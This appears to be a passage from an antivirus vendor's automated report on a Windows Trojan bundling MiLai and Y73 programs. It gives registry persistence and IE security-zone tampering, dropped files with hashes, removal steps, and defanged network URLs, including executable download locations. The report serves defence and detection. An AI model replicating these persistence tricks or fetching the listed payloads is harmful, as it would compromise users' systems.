"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Y73ÖÖ×ÓËÑË÷ÉñÆ÷" = "%Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\Y73Server.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process copy%original file name%.exe:1316 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012015060120150602]
"CacheRepair" = "0"

"CachePrefix" = ":2015060120150602:"
"CachePath" = "%USERPROFILE%\Local Settings\History\History.IE5\MSHist012015060120150602\"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012015060120150602]
"CacheLimit" = "8192"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1C 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F7 C1 7C 26 CA 42 4F 5D 33 F9 0B CD 33 36 BC 54"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012015060120150602]
"CacheOptions" = "11"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following registry key(s):

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012014031720140318]

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

MD5	File path
70e5fc026ab184266bfdc85c3e4d5d94	c:\Program Files\MiLai\AdbWinApi.dll
71e5d7a4ebe2f05fa3cb2c41959bfac7	c:\Program Files\MiLai\AdbWinUsbApi.dll
451a9096f00be5027113a6f578a60f78	c:\Program Files\MiLai\MiLai.exe
6aff430d1b2d916594d2cb6bcbfe8aae	c:\Program Files\MiLai\adb.exe
f74f89426300cc4be15ba6bff43216a9	c:\Program Files\MiLai\mlzs.exe
5da271aa7a4e1c30507e9c6a9d3334b8	c:\Program Files\MiLai\usbdevi.sys
3ffc356a04306e7bcfad80d3025cb8c4	c:\Program Files\MiLai\x64\usbdevi.sys
3336d1f7e730eb1108dfda3c1e2998dc	c:\Program Files\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\Y73Server.exe
adf7036aa656a1b35acc4226a86018f5	c:\Program Files\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\uninst.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

Using the driver "UNKNOWN" the Trojan controls loading executable images into a memory by installing the Load image notifier.

Propagation

Removals

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Scan a system with an anti-rootkit tool.
   
2. Terminate malicious process(es) (How to End a Process With the Task Manager):

   MiLai.exe:3500
   MiLai.exe:2896
   -2100_1_xcfx.exe:2888
   Y73P2PSearcher_4.exe:612
   

3. Delete the original Trojan file.
   
4. Delete or disinfect the following files created/modified by the Trojan:

   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\2VSL827R\u2[1].htm (108 bytes)
   %System%\config\SYSTEM.LOG (4665 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GL6309AJ\tab2[1].png (4113 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\2VSL827R\tj[1].htm (8 bytes)
   %Documents and Settings%\%current user%\AppData\LocalLow\MiLai\Fav9.dat (2 bytes)
   %Documents and Settings%\%current user%\AppData\LocalLow\MiLai\Down\ETagFile.dat (420 bytes)
   %Documents and Settings%\%current user%\AppData\LocalLow\MiLai\tab2.png (13 bytes)
   %Documents and Settings%\%current user%\AppData\LocalLow\MiLai\tab3.png (12 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CJ5K6EGX\tj[1].htm (8 bytes)
   %Documents and Settings%\%current user%\AppData\LocalLow\MiLai\btns.js (376 bytes)
   %WinDir%\nvse.dat (86 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CJ5K6EGX\btns[1].js (376 bytes)
   %System%\config\system (2126 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GL6309AJ\tab3[1].png (2730 bytes)
   %Documents and Settings%\%current user%\AppData\Local\MiLai\dwonJsMobile.dat (28 bytes)
   %Documents and Settings%\%current user%\AppData\LocalLow\MiLai\edi.dat (304241 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KTQRK5YN\qv[1].htm (2 bytes)
   %System%\drivers\usbdevi.sys (1281 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KTQRK5YN\tj[1].htm (26 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CJ5K6EGX\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
   C:\copy%original file name%.exe (10815 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\2VSL827R\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GL6309AJ\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KTQRK5YN\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsk3.tmp\System.dll (11 bytes)
   %Documents and Settings%\%current user%\Start Menu\Programs\Ã×À´ÖúÊÖ\жÔØÃ×À´ÖúÊÖ.lnk (657 bytes)
   %Program Files%\MiLai\adb.exe (24009 bytes)
   %Program Files%\MiLai\x64\usbdevi.sys (10847 bytes)
   %Program Files%\MiLai\MiLai.exe (55814 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsk3.tmp\MiLai.exe (55814 bytes)
   %Program Files%\MiLai\AdbWinUsbApi.dll (2733 bytes)
   %Program Files%\MiLai\Ã×À´ÖúÊÖ.lnk (584 bytes)
   %Program Files%\MiLai\usbdevi.sys (8792 bytes)
   %Program Files%\MiLai\mlzs.exe (24950 bytes)
   %Documents and Settings%\%current user%\Start Menu\Programs\Ã×À´ÖúÊÖ\Ã×À´ÖúÊÖ.lnk (650 bytes)
   %Program Files%\MiLai\uninst.exe (426 bytes)
   %Program Files%\MiLai\AdbWinApi.dll (3748 bytes)
   %Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\setting.ini (32 bytes)
   %Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\Y73Server.exe (9130 bytes)
   %Documents and Settings%\%current user%\Start Menu\Programs\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\Y73ÖÖ×ÓËÑË÷ÉñÆ÷.lnk (744 bytes)
   %Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\uninst.exe (745 bytes)
   %Documents and Settings%\%current user%\Desktop\ÖÖ×ÓËÑË÷ÉñÆ÷.lnk (732 bytes)
   %Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\Y73ÖÖ×ÓËÑË÷ÉñÆ÷.url (37 bytes)
   %Documents and Settings%\%current user%\Start Menu\Programs\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\¹Ù·½Ö÷Ò³.url (37 bytes)
   %Documents and Settings%\%current user%\Start Menu\Programs\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\Uninstall.lnk (727 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CJ5K6EGX\61.196.186[1].htm (4 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KTQRK5YN\stat[1].gif (43 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GL6309AJ\base[1].css (8 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KTQRK5YN\do1[1].php (15399 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@61.196.186[1].txt (212 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\2VSL827R\core[1].php (752 bytes)
   %Documents and Settings%\%current user%\Cookies\index.dat (388 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\2VSL827R\stat[1].php (1177 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\2VSL827R\search_btn[1].png (534 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GL6309AJ\ico_here[1].gif (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GL6309AJ\core[1].php (751 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@cnzz[1].txt (163 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@cnzz.mmstat[1].txt (203 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GL6309AJ\will[1].htm (374 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CJ5K6EGX\z_stat[1].php (1177 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@mmstat[1].txt (168 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@tongji.110160[1].txt (219 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\2VSL827R\stat[1].gif (43 bytes)

5. Delete the following value(s) in the autorun key (How to Work with System Registry):

   [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
   "MiLai" = "%Program Files%\MiLai\MiLai.exe /A"
   
   [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
   "Y73ÖÖ×ÓËÑË÷ÉñÆ÷" = "%Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\Y73Server.exe"

6. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
7. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	1327984	1328128	4.42448	c91515feb9946e2db385ba69247a39f7
.itext	1335296	6240	6656	4.07779	5aae2e461f73ebf641db0bd57245bffa
.data	1343488	21232	21504	3.2	23708cf067030f51be70a95cfde70a05
.bss	1368064	21728	0	0	d41d8cd98f00b204e9800998ecf8427e
.idata	1392640	14156	14336	3.48821	2cae5d6243dab5f7c4f5793d6e144aed
.didata	1409024	806	1024	2.26969	49071d657f1ced988a7c78abd08ae511
.tls	1413120	60	0	0	d41d8cd98f00b204e9800998ecf8427e
.rdata	1417216	24	512	0.146134	8478b7850f71f012a9c75a8e5a06a81e
.reloc	1421312	113792	114176	4.64661	67bb2cd6e666e8009514713f77385b0f
.rsrc	1536000	167936	167936	2.58468	9d72ba52e28aa8f9dec86712a18496c2

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://tongji.110160.com/newcount.aspx	174.139.167.118
hxxp://tongji.110160.com/will.html	174.139.167.118
hxxp://tongji.110160.com/paramfile/tasklist.txt	174.139.167.118
hxxp://tongji.110160.com/paramfile/main.txt	174.139.167.118
hxxp://tongji.110160.com/ad.htm	174.139.167.118
hxxp://all.cnzz.com.danuoyi.tbcache.com/z_stat.php?id=1255080332
hxxp://all.cnzz.com.danuoyi.tbcache.com/core.php?web_id=1255080332&t=z
hxxp://oz.cnzz.com/stat.htm?id=1255080332&r=&lg=en-us&ntime=none&cnzz_eid=102748168-1433180973-&showp=1276x846&t=&h=1&rnd=1688775461	198.11.132.200
hxxp://js.users.51.la/17745949.js	117.21.227.34
hxxp://cnzz.mmstat.com/9.gif?abc=1&rnd=695925969	42.120.219.171
hxxp://s.click.gds.taobao.com/t?e=m=2&s=35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds+V2hm/dhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA/DpPH01wK9AmARIwX9K+AjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV
hxxp://s.click.gds.taobao.com/t_js?tu=http://s.click.taobao.com/t?e=m%3D2%26s%3D35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds%2BV2hm%2FdhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA%2FDpPH01wK9AmARIwX9K%2BAjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV&ref=&et=558qJCi5lfDmNxpSGDi6si7lyGrLBGCr
hxxp://s.click.gds.taobao.com/t?e=m=2&s=35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds+V2hm/dhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA/DpPH01wK9AmARIwX9K+AjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV&ref=&et=558qJCi5lfDmNxpSGDi6si7lyGrLBGCr
hxxp://cnzz.mmstat.com/app.gif?&cna=74rzDSF6YRECAcGK9Oe2PPyt	42.120.219.171
hxxp://tongji.110160.com/detail.ashx	174.139.167.118
hxxp://wagbridge.gds.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798
hxxp://g.alicdn.com.danuoyi.alicdn.com/ju/common/1.5.9/global-min.css	195.27.31.240
hxxp://g.alicdn.com.danuoyi.alicdn.com/ju/home/1.3.5/pages/2015/index.less.css	195.27.31.240
hxxp://g.alicdn.com.danuoyi.alicdn.com/??kissy/k/1.4.14/seed-min.js,ju/common/1.5.9/global-min.js,tb/tracker/1.0.16/index.js	195.27.31.240
hxxp://g.alicdn.com.danuoyi.alicdn.com/alilog/mlog/aplus_v2.js	195.27.31.240
hxxp://g.alicdn.com.danuoyi.alicdn.com/kissy/k/1.4.14/??dom/base-min.js,dom/ie-min.js,dom/class-list-min.js,dom/selector-min.js,event-min.js,event/dom/base-min.js,event/base-min.js,event/dom/hashchange-min.js,event/dom/ie-min.js,event/custom-min.js,io-min.js,promise-min.js,anim-min.js,anim/base-min.js,anim/timer-min.js,base-min.js,attribute-min.js,node-min.js,json-min.js,cookie-min.js	195.27.31.240
hxxp://g.alicdn.com.danuoyi.alicdn.com/ju/??lazyload/1.1.7/index-min.js,julog/1.0.10/index-min.js,julogin/1.1.3/index-min.js?t=16588.js	195.27.31.240
hxxp://g.alicdn.com.danuoyi.alicdn.com/s.gif	195.27.31.240
hxxp://g.alicdn.com.danuoyi.alicdn.com/alilog/mlog/??spm.js,spmact.js?v=141204	195.27.31.240
hxxp://gtms02.alicdn.com.danuoyi.alicdn.com/tps/i2/TB1c5kBHVXXXXbnXXXXQoJ3FVXX-150-50.png	195.59.70.240
hxxp://gtms02.alicdn.com.danuoyi.alicdn.com/t/font_1432191682_899724.eot?	195.59.70.240
hxxp://gtms02.alicdn.com.danuoyi.alicdn.com/tps/i3/TB1zdlkIXXXXXXjaXXXYMrr2pXX-750-300.jpg_Q90.jpg	195.59.70.240
hxxp://gtms02.alicdn.com.danuoyi.alicdn.com/tps/i3/TB1BnawHFXXXXaNaXXXgMSN.FXX-130-50.png	195.59.70.240
hxxp://log.gds.mmstat.com/4.gif?logtype=1&title=%u3010%u805A%u5212%u7B97%u3011%u65E0%u6240%u4E0D%u80FD%u805A&pre=http://s.click.taobao.com/t_js?tu=http%3A%2F%2Fs.click.taobao.com%2Ft%3Fe%3Dm%253D2%2526s%253D35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds%252BV2hm%252FdhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA%252FDpPH01wK9AmARIwX9K%252BAjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV%26ref%3D%26et%3D558qJCi5lfDmNxpSGDi6si7lyGrLBGCr&cache=d5f48d9&scr=1276x846&spm-cnt=608.2291429.0.0.1ejWoV&isbeta=2&category=&uidaplus=&at_bucketid=jhs_ju_7&aplus&yunid=&&trid=0ab5aca614331814273453737e&asid=AQAAAADznGxVojnGDAAAAAAgcFJzMqXBWw==&p=1&o=winXP&b=ie6&s=1276x846&w=trident
hxxp://sh.wagbridge.ju.gds.taobao.com/json/tg/juSkip.htm?callback=skipFn0&menuType=index
hxxp://g.alicdn.com.danuoyi.alicdn.com/??ju/home/1.3.5/pages/2015/index-min.js,kissy/k/1.3.2/template-min.js	195.27.31.240
hxxp://gtms02.alicdn.com.danuoyi.alicdn.com/tps/i4/TB1xrxIIXXXXXbxXpXXt7e2LVXX-1920-455.jpg_q75.jpg	195.59.70.240
hxxp://gtms02.alicdn.com.danuoyi.alicdn.com/tps/i4/TB17ZwIHVXXXXXGXXXXrywt4VXX-120-120.png	195.59.70.240
hxxp://gtms02.alicdn.com.danuoyi.alicdn.com/tps/i3/TB1ODS9HFXXXXbaXFXXMmPIJFXX-9-7.gif	195.59.70.240
hxxp://g.alicdn.com.danuoyi.alicdn.com/tps/i1/TB10W7HHpXXXXX3aXXXrywt4VXX-120-120.png	195.27.31.240
hxxp://g.alicdn.com.danuoyi.alicdn.com/tps/i1/TB1eHBsGFXXXXa7XFXXoYWL.FXX-130-35.png	195.27.31.240
hxxp://gtms02.alicdn.com.danuoyi.alicdn.com/tps/i3/TB1nrpzIXXXXXbFXpXXSgLWZVXX-290-420.jpg_q90.jpg	195.59.70.240
hxxp://gtms02.alicdn.com.danuoyi.alicdn.com/tps/i4/TB1.3PmHpXXXXczaXXXrywt4VXX-120-120.png	195.59.70.240
hxxp://all.cnzz.com.danuoyi.tbcache.com/stat.php?id=1254485011
hxxp://g.alicdn.com.danuoyi.alicdn.com/ju/??jufav/1.0.29/index-min.js?t=16588.js	195.27.31.240
hxxp://g.alicdn.com.danuoyi.alicdn.com/ju/??jufav/1.0.29/jufav-min.css?t=16588.css	195.27.31.240
hxxp://g.alicdn.com.danuoyi.alicdn.com/ju/??jupopup/1.0.7/index-min.js?t=16588.js	195.27.31.240
hxxp://all.cnzz.com.danuoyi.tbcache.com/core.php?web_id=1254485011&t=z
hxxp://pcookie.gds.taobao.com/app.gif?&cna=74rzDSF6YRECAcGK9Oe2PPyt
hxxp://oz.cnzz.com/stat.htm?id=1254485011&r=&lg=en-us&ntime=none&cnzz_eid=578974474-1433180982-&showp=1276x846&t=undefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefined&h=1&rnd=1863171824	198.11.132.200
hxxp://gtms02.alicdn.com.danuoyi.alicdn.com/s/kissy/gallery/??kscroll/1.2/index-min.js,RichDate/1.0/index-min.js	195.59.70.240
hxxp://g.alicdn.com.danuoyi.alicdn.com/ju/??jupopup/1.0.7/box-min.css?t=16588.css	195.27.31.240
hxxp://g.alicdn.com.danuoyi.alicdn.com/sd/data_sufei/1.4.3/aplus/index.js	195.27.31.240
hxxp://g.alicdn.com.danuoyi.alicdn.com/tps/i1/T1A30CFvXbXXbhgrfd-29-26.png	195.27.31.240
hxxp://gtms02.alicdn.com.danuoyi.alicdn.com/tps/i3/T1SYFVFEhjXXaa3MZD-222-103.png	195.59.70.240
hxxp://gtms02.alicdn.com.danuoyi.alicdn.com/tps/i1/TB1BCuuGXXXXXX5XVXXliWH8FXX-126-354.png	195.59.70.240
hxxp://gtms02.alicdn.com.danuoyi.alicdn.com/tps/i3/TB1QMwDHVXXXXaFXXXXNDV3FVXX-150-50.gif	195.59.70.240
hxxp://sh.wagbridge.ju.gds.taobao.com/json/collect_mark.htm?_ksTS=1433181431291_98&callback=jsonp99
hxxp://g.alicdn.com.danuoyi.alicdn.com/tps/i1/TB1g8IVHVXXXXceXpXXYMrr2pXX-750-300.jpg_Q90.jpg	195.27.31.240
hxxp://g.alicdn.com.danuoyi.alicdn.com/tps/i1/TB1UaVtIXXXXXbHXFXX9sla8VXX-750-300.jpeg_Q90.jpg	195.27.31.240
hxxp://gtms02.alicdn.com.danuoyi.alicdn.com/tps/i2/TB1nEVIIXXXXXcyXXXXYMrr2pXX-750-300.jpg_Q90.jpg	195.59.70.240
hxxp://gtms02.alicdn.com.danuoyi.alicdn.com/tps/i2/TB17AE8HVXXXXaDXXXX9sla8VXX-750-300.jpeg_Q90.jpg	195.59.70.240
hxxp://down.ybofang.cn/small/sw/-2100_1_xcfx.exe	220.167.104.226
hxxp://web.fx.cncll.net/btns/btns.js	222.88.93.120
hxxp://down.ybofang.cn/play/fxappimg/btn/tab3.png	220.167.104.226
hxxp://down.ybofang.cn/play/fxappimg/btn/tab2.png	220.167.104.226
hxxp://tgi-cn.net.w.alikunlun.com/down/069.exe
hxxp://json.app.cncll.net/app/json/advstyle/9.js	125.43.78.109
hxxp://pcookie.taobao.com/app.gif?&cna=74rzDSF6YRECAcGK9Oe2PPyt	140.205.96.5
hxxp://log.mmstat.com/4.gif?logtype=1&title=%u3010%u805A%u5212%u7B97%u3011%u65E0%u6240%u4E0D%u80FD%u805A&pre=http://s.click.taobao.com/t_js?tu=http%3A%2F%2Fs.click.taobao.com%2Ft%3Fe%3Dm%253D2%2526s%253D35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds%252BV2hm%252FdhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA%252FDpPH01wK9AmARIwX9K%252BAjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV%26ref%3D%26et%3D558qJCi5lfDmNxpSGDi6si7lyGrLBGCr&cache=d5f48d9&scr=1276x846&spm-cnt=608.2291429.0.0.1ejWoV&isbeta=2&category=&uidaplus=&at_bucketid=jhs_ju_7&aplus&yunid=&&trid=0ab5aca614331814273453737e&asid=AQAAAADznGxVojnGDAAAAAAgcFJzMqXBWw==&p=1&o=winXP&b=ie6&s=1276x846&w=trident	140.205.248.86
hxxp://s.click.taobao.com/t?e=m=2&s=35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds+V2hm/dhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA/DpPH01wK9AmARIwX9K+AjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV	140.205.136.25
hxxp://gtms03.alicdn.com/tps/i3/TB1BnawHFXXXXaNaXXXgMSN.FXX-130-50.png	195.27.31.250
hxxp://gtms01.alicdn.com/tps/i1/TB1UaVtIXXXXXbHXFXX9sla8VXX-750-300.jpeg_Q90.jpg	195.27.31.240
hxxp://g.alicdn.com/ju/common/1.5.9/global-min.css	195.27.31.240
hxxp://g.alicdn.com/ju/??lazyload/1.1.7/index-min.js,julog/1.0.10/index-min.js,julogin/1.1.3/index-min.js?t=16588.js	195.27.31.240
hxxp://gtms03.alicdn.com/tps/i3/TB1nrpzIXXXXXbFXpXXSgLWZVXX-290-420.jpg_q90.jpg	195.27.31.250
hxxp://gtms04.alicdn.com/tps/i4/TB17ZwIHVXXXXXGXXXXrywt4VXX-120-120.png	195.59.70.240
hxxp://s95.cnzz.com/z_stat.php?id=1255080332	1.99.192.16
hxxp://s.click.taobao.com/t_js?tu=http://s.click.taobao.com/t?e=m%3D2%26s%3D35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds%2BV2hm%2FdhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA%2FDpPH01wK9AmARIwX9K%2BAjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV&ref=&et=558qJCi5lfDmNxpSGDi6si7lyGrLBGCr	140.205.136.25
hxxp://g.alicdn.com/alilog/mlog/aplus_v2.js	195.27.31.240
